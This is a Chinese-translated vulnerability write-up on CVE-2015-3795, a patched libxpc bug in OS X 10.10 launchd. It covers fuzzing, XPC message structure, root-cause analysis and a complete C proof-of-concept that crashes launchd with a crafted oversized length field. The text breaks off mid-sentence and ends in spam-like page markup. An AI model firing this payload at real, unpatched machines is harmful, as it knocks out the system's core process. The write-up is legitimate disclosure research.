<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/12039

            http://blog.wuntee.sexy/CVE-2015-3795/

            0x00 背景


            這個漏洞是6月4號報告給蘋果公司。在8月13號發布的10.10.5安全更新中得到修補。

            相關信息:

            0x01 mach_shark


            在之前的幾篇文章里我已經幾次提到過mach_shark。該工具的一個用途就是可以制作一個小的c存根函數(c-stub),該存根允許你重放mach消息。正如之前文章提到的,基于MACH的IPC有個狀態的概念。雖然由mach_shark生成的c存根函數沒有實現與任意進程交互的所有的狀態控制。但是它還是提供了一個起始點來進行最小的fuzz。我可以發送消息到kernel或者bootstrap/launchd。

            那么現在可以做什么呢?找到我能找到的最復雜的消息,來開始進行最簡單的fuzzer。

            攻擊面看起來最大的區域就是open命令。特別是我很感興趣如何在默認瀏覽器沒有打開的情況下,通過正確的用戶數據,運行一條像open http://wuntee.sexy的命令來打開瀏覽器,讓它指向該URL。

            在通過mach_shark運行了open命令之后,審閱300個左右的IPC請求,其中一個看起來是個很好的入口點。一個非常大且復雜的XPC消息,看起來還包含了一些objective-c的類名稱。

            p1

            0x02 fuzzing和crashing


            上面提到的c存根函數的輸出是非常簡單的,但是它構建了正確的MACH消息,并且正確的提取了原始消息想要連接通信的端口。一個輸出示例如下:

            #!php
            kern_return_t ret=task_get_bootstrap_port(mach_task_self(),&bp);
            ret=bootstrap_look_up(bp,"com.apple.CoreServices.coreservicesd",&port);
            Unsignedchar payload[]={...};
            mach_msg_header_t* msg=(mach_msg_header_t*)payload;
            msg->msgh_remote_port=port;
            msg->msgh_local_port=MACH_PORT_NULL;
            msg->msgh_bits=MACH_MSGH_BITS_ZERO;
            msg->msgh_bits=MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND,MACH_MSG_TYPE_MAKE_SEND_ONCE,MACH_MSG_TYPE_COPY_SEND);
            mach_msg_return_t msg_ret=mach_msg_send(msg);
            

            通過從open命令獲取的payload,我就開始來一個簡單的字節變異fuzzer。但是直接發送消息到bootstrap/launchd。有個fuzzer跑起來這讓我很興奮,我讓它直接在我的本地主機上運行。我回頭繼續研究其他的MACH payload,讓fuzzer在后臺跑。過了幾分鐘,我的機器rebooted because of a problem。我當時腦子就只有一句話,沒有比這更簡單的方法了。沒有了。。

            導致我機器重啟的原因細節和最后我是如何調試的crash的過程可以在Debugging launchd on OSX 10.10.3一文中找到。

            0x03 xpc序列化/反序列化


            然后將fuzzer放到VM里面來分析剛才發生crash的根本原因。我可以確定crash是在XPC反序列化程序調用strlen時發生的。這看起來有點奇怪。

            所以我開始深入XPC消息結構。為此,我創建了一個見到的服務來接受XPC消息和一個簡單的客戶端程序,用來發送任意的消息。同時我使用mach_shark工具來抓取消息并記錄不同的payload結構。

            我抓取的XPC payload基本結構如下:

            #!php
            [xpc_message_header][xpc_type_$X_1]...[xpc_type_$X_n]
            

            其中的頭結構:

            #!php
            typedef struct __attribute__((packed)) {
              u_int32_t magic;   // "!CPX"
              u_int32_t version;   // "x05\x00\x00\x00"
              u_int32_t type;
              u_int32_t size;    // From the end of this on
              u_int32_t num_entries;
            } xpc_message_header;
            

            后面的xpc_type_$X結構:

            #!php
            typedef struct __attribute__((packed)) {
              char key[];      // null terminated
              u_int32_t type;
              u_int32_t size;    // From the end of this on
              u_int32_t num_entries;
              unsigned char payload[];
            } xpc_type_complex;
            
            typedef struct __attribute__((packed)) {
              char key[];      // null terminated
              u_int32_t type;
              u_int32_t len;
              char str_or_data[];
            } xpc_type_string_or_data;
            
            typedef struct __attribute__((packed)) {
              char key[];      // null terminated
              u_int32_t type;
              u_int64_t value;  // Can be uint64, int64, uuid, double
            } xpc_type_value;
            
            typedef struct __attribute__((packed)) {
              char key[];      // null terminated
              u_int32_t type;   // Used for external data type like file descriptors and port rights
            } xpc_type_novalue;
            

            舉個例子:

            #!bash
            mach message data:
              21 43 50 58 05 00 00 00 00 f0 00 00 48 00 00 00  !CPX........H...
              02 00 00 00 62 6f 6f 6c 5f 76 61 6c 75 65 5f 74  ....bool_value_t
              72 75 65 00 00 20 00 00 01 00 00 00 73 74 72 69  rue.. ......stri
              6e 67 5f 76 61 6c 75 65 00 00 00 00 00 90 00 00  ng_value........
              11 00 00 00 74 68 69 73 20 69 73 20 61 20 73 74  ....this is a st
              72 69 6e 67 00 00 00 00                          ring....
            
            21 43 50 58: Magic "!CPX"
            05 00 00 00: Version 5
            00 f0 00 00: Type 'dictionary'
            48 00 00 00: Size 72
            02 00 00 00: 2 Entries
            62 6f 6f 6c 5f 76 61 6c 75 65 5f 74 72 75 65 00 00: Key 'bool_value_true' null terminated / padded
            00 20 00 00: Type 'boolean'
            01 00 00 00: Value 'true'
            73 74 72 69 6e 67 5f 76 61 6c 75 65 00 00 00 00: Key 'string_value' null terminated / padded
            00 90 00 00: Type 'string'
            11 00 00 00: Size 17, including null termination
            74 68 69 73 20 69 73 20 61 20 73 74 72 69 6e 67 00 00 00 00: Value 'this is a string'
            

            0x04 根本原因分析


            在我分析crash的時候我完全不明白為什么在strlen函數上居然可以crash(現在已經搞清楚了)。為了重現crash必須使用一個很大的payload,這讓原因分析變得很困難。更加困難的是因為launchd崩潰了。我不能動態調試代碼。不得不用之前文章講到的coredumps來進行分析。我開始試圖逆向libxpc文件但是這個庫比我想象的要復雜。所有我轉而來編寫自己的XPC消息序列化分析器([de]serializer)來探測是paylaod觸發了crash。

            我使用一個指針來迭代每個目錄項的開始,獲取該值并創建一個新的的xpc_dictionary對象。當我完成編寫這個復雜的類型后,我得到如下代碼:

            #!cpp
            for(int i=0; i<xpc_header->num_entries; i++){
              ...
              size_t key_len = strlen(ptr);
              ...
              ptr += key_len;
              ...
              switch(ptr->type){
                case XPC_SERIALIZED_TYPE_COMPLEX: {
                  xpc_type_complex* dict_v = (xpc_type_complex*)ptr;
                  ...         
                  // TKTK: Cant do this!! Size is user controlled
                  *next_entry = (char*)(&dict_v->num_entries) + dict_v->size;
                  break;
                }
                ...
              }
            }
            

            注意其中的注釋。// TKTK: Cant do this!! Size is user controlled。我所做的是構建基礎XPC消息結構的原始內存數據,在type類型的基礎上進行處理。在這個復雜的類型中,有一個入口叫size,需要設置為XPC對象該部分的整個大小值。但是該值是被消息構建者控制的。所以是不能完全可信的。

            當我運行我的反序列化程序來處理導致crash的那段payload時,同樣我的代碼也在strlen函數處crash了。我告訴自己這不可能是巧合。在對我的反序列化程序進行單步跟蹤后,原因就很清晰了,和我的代碼一樣,libxpc代碼信任了這個復雜類型的length值,基于該值增加了指針的值,并認為這就是下一個鍵的地址。如果你設置了這樣的值,程序就嘗試去從當前offset+0xFFFFFFFF處讀取一個字符串,這就導致了一個segfault。

            0x05 證明我的猜測


            下一步就是構建一個任意的payload來測試這個理論。當然我想用程序來實現,所以我寫了一個庫文件,包含一些自定義的xpc_objects將他們序列化打包進一個原始的XPC包中。為了能控制所有XPC對象的數據,我必須重新生成每個自定類型。之后我創建了一個最小的payload來觸發crash。

            因為這是發送到launchd,我需要一個程序來真實嘗試反序列化我的XPC對象。基于一些之前的我對launchctl做的研究,我知道需要發送一個基本的XPC結構。這些包括handle,subsystem,routine鍵。我用來處理復雜字符串的代碼如下:

            #!cpp
            xpc_serialization_value* vals[4] = {0,0,0,0};
            vals[0] = create_xpc_serialization_uint64("handle", 1);
            vals[1] = create_xpc_serialization_uint64("subsystem", 1);
            vals[2] = create_xpc_serialization_string("a", "a");
            ((xpc_string_value*)vals[2]->value_pointer)->len = -1;
            vals[3] = create_xpc_serialization_uint64("routine", 1);
            xpc_serialized_object* obj = serialize_xpc_object(vals, 4);
            // Print raw bytes of xpc_serialized_object// Output => {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
            

            觸發crash的代碼:

            #!objc
            #include <xpc/xpc.h>
            void send_payload(void * xpc_payload, unsigned int xpc_payload_size){
                    unsigned int size = sizeof(mach_msg_header_t) + xpc_payload_size;
                    unsigned char* payload = calloc(size, sizeof(char));
            
                    memcpy(payload+sizeof(mach_msg_header_t), xpc_payload, xpc_payload_size);
            
                    mach_port_t port;
                    kern_return_t ret = task_get_bootstrap_port(mach_task_self(), &port);
                    mach_msg_header_t *msg = (mach_msg_header_t *)payload;
                    msg->msgh_id = 0x10000000;
                    msg->msgh_remote_port = port;
                    msg->msgh_local_port = MACH_PORT_NULL;
                    msg->msgh_bits = MACH_MSGH_BITS_ZERO;
                    msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
            
                    mach_msg_return_t msg_ret;
                    msg->msgh_size = size;
                    msg_ret = mach_msg_send(msg);
            }
            
            int main(){
                    unsigned char payload[] = {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
                    send_payload(payload, sizeof(payload));
            
                    return(0);
            }%
            

            分析payload,我們可以看到:

            #!bash
            21 43 50 58: Macing "!CPX"
            05 00 00 00: Version 5
            00 f0 00 00: Type 'dictionary'
            5c 00 00 00: Size 0x5c
            04 00 00 00: 4 entries
            68 61 6e 64 6c 65 00 00: Key 'handle'
            00 40 00 00: Type 'uint64'
            01 00 00 00 00 00 00 00: Value 1
            73 75 62 73 79 73 74 65 6d 00 00 00: Key 'subsystem'
            00 40 00 00: Type 'uint64'
            01 00 00 00 00 00 00 00: Value 1
            61 00 00 00: Key 'a'
            00 90 00 00: Type 'string' 
            ff ff ff ff: Size 0xFFFFFFFF    ** TRIGGER CRASH **
            61 00 00 00: Value 'a'
            72 6f 75 74 69 6e 65 00: Key 'routine'
            00 40 00 00: Type 'uint64'
            01 00 00 00 00 00 00 00: Value '1'
            

            蘋果公司已經修復了這個bug的特殊的實例。但是在我審計到10.11之前我發現這個bug的類依然還是存在于最新的10.10中。在10.11中,蘋果公司已經將用戶空間的‘mach_msg_send’函數變為使用另一個在libxpc.dylib中的函數,該函數不需要使用mach_msg_send。我還沒有在OS X 10.11+中找到任何的crash。

            0x06 影響和利用


            看起來OSX IPC正在向所有的程序都使用XPC轉移。雖然我沒有測試在XPC進程內核的各個角落(我沒有太努力尋找),但是就在OSX系統PID1進程launchd(類似于Linux里的init)中找到了這個bug。況且有很多的IPC服務以root權限運行,非特權用戶都使用XPC來進行通信。所以如果這個bug可以被利用的話,將非常危險。

            這個bug是一個任意向前讀。從基礎的理論證明來看,基本很難被利用(我的溢出利用技術很不足)。我所知道的一些理論:

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线